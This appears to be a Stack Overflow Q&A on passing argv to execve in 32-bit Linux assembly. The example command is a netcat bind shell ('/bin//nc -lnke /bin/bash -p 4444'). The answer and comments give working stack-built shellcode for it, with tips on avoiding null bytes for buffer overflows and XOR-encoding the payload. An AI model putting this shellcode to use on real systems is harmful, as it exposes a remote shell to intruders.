What is proper way to call execve with arguments in assembly?
Asked Answered
R

1

8

I am trying to execute the following with execve: /bin//nc -lnke /bin/bash -p 4444

When reading the man page for execve, I see the following requirements:

int execve(const char *filename, char *const argv[],
                  char *const envp[]);

The issue I am running into is pushing arguments to argv; I do not understand how you push an array (in assembly) for this to work properly.

The assembly that I am currently using is below:

global _start

_start:
    xor eax, eax

    ; command
    push eax
    push 0x636e2f2f
    push 0x6e69622f
    mov ebx, esp

    ; args
    push eax
    push 0x34343434
    push 0x20702d20
    push 0x68736162
    push 0x2f6e6962
    push 0x2f20656b
    push 0x6e6c2d20
    mov ecx, esp

    ; null, arg 1
    push eax
    mov edx, esp

    ; push to stack
    push edx
    push ecx
    push ebx

    ; command
    mov al, 11
    int 0x80

It results in the following being passed to execve:

$ strace -f -e execve -s 10000 ./bind 
execve("/bin//nc", [0x6e6c2d20, 0x2f20656b, 0x2f6e6962, 0x68736162, 0x20702d20, 0x34343434], 0xffd4c0d4 /* 0 vars */) = -1 EFAULT (Bad address)

How do I pass these arguments properly using assembly?

I am using Linux with nasm

Rigsby answered 4/9, 2018 at 17:23 Comment(2)
Which operating system are you programming for?Glavin
I have added a bit about how to do this in shellcode to my answer. Please let me know if it resolves any doubts you might have.Glavin
G
10

In C, arrays are implicitly converted to pointers to their first elements. So in your case, you need to pass a pointer to an array of pointers to strings. Each array is terminated with a null pointer. Each string is terminated with a NUL byte. The arguments to system calls are passed in ebx, ecx, edx, etc. with the system call number being in eax. Like this:

        section .data
        ; strings
arg0    db "/bin//nc",0
arg1    db "-lnke",0
arg2    db "/bin/bash",0
arg3    db "-p",0
arg4    db "4444",0

        ; arrays
        align 4
argv    dd arg0, arg1, arg2, arg3, arg4, 0
envp    dd 0

        section .text
        global _start
_start: mov eax, 11   ; SYS_execve
        mov ebx, arg0 ; filanem
        mov ecx, argv ; argv
        mov edx, envp ; envp
        int 0x80      ; syscall

I'm not sure which operating system you are programming for. This example assumes Linux.

If you cannot use the data segment for some reason, proceed like this:

        ; for easier addressing
        mov ebp, esp

        ; push strings

        xor eax, eax
        push eax          ; - 4    
        push "4444"       ; - 8
        push "\0-p\0"     ; -12
        push "bash"       ; -16
        push "bin/"       ; -20
        push "ke\0/"      ; -24
        push "\0-ln"      ; -28
        push "//nc"       ; -32
        push "/bin"       ; -36

        ; push argv, right to left
        xor eax, eax
        push eax          ; NULL
        lea ebx, [ebp-8]
        push ebx          ; "4444\0"
        lea ebx, [ebp-11]
        push ebx          ; "-p\0"
        lea ebx, [ebp-21]
        push ebx          ; "/bin/bash\0"
        lea ebx, [ebp-27]
        push ebx          ; "-lnke\0"
        lea ebx, [ebp-36] ; filename
        push ebx          ; "/bin//nc\0"
        mov ecx, esp      ; argv
        lea edx, [ebp-4]  ; envp (NULL)

        mov al, 11        ; SYS_execve
        int 0x80

In case you can't have null bytes in your data for whatever reason you need to do some cloaking beforehand. For example, you could push each byte xor'ed with 0x80 and xor the data on the stack with 0x80 again afterwards.

Glavin answered 4/9, 2018 at 17:32 Comment(3)
+1, it still answers the question by showing the extra level of indirection clearly. @user1529891: For shellcode, after pushing the string data, I'd create the arrays of pointers with lea edx, [esp+??]/ push edx / sub edx, 8 / push edx / ... (Where your increments are multiples of 4 if you do everything with 4-byte pushes, including the zero-terminators.)Seavey
a normal requirement for shellcode is that the machine code not contain any 00 bytes, so strcpy doesn't stop when overflowing a buffer. Including a "\0" in an immediate doesn't work; that's why you xor eax,eax and push eax where we want some zeros, or use push imm8. That's also why you pad paths with redundant // to make them a multiple of 4 bytes.Seavey
@PeterCordes I addressed this concern in the last sentence.Glavin

© 2022 - 2024 — McMap. All rights reserved.